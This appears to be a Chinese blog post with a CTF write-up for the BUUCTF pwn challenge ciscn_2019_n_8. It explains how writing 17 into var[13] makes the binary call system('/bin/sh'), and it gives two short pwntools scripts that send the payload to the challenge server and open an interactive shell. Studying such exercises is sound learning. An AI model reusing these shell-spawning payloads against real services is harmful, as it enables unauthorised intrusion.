ciscn_2019_n_8 1

checksec一下能发现开了很多保护,吓人一跳,但其实我们分析一下发现只要var[13]为17就可以了
image
if ( *(_QWORD *)&var[13] )#判断var[13]开始的8字节(_QWORD表示64位,即8字节)内存区域是否非零。*(_QWORD *)&var[13]是将var[13]的地址转换为_QWORD(64位整数)指针,然后解引用得到该内存区域的值。
if ( *(_QWORD *)&var[13] == 17LL )#:如果该8字节内存区域的值等于17(17LL表示长整型常量17),则调用system("/bin/sh")执行系统命令/bin/sh,
将var数组全填上17即可:

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",28867)
payload=p32(17)*13
io.sendline(payload)
io.interactive()
也可以
点击查看代码
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()

QWORD是8个字节,所以要将var[13]的8个字节的数据赋值为17(即p64(17)),之前的是因为32位程序为4字节
posted @ 2025-01-11 15:34  fdddddd  阅读(85)  评论(0)    收藏  举报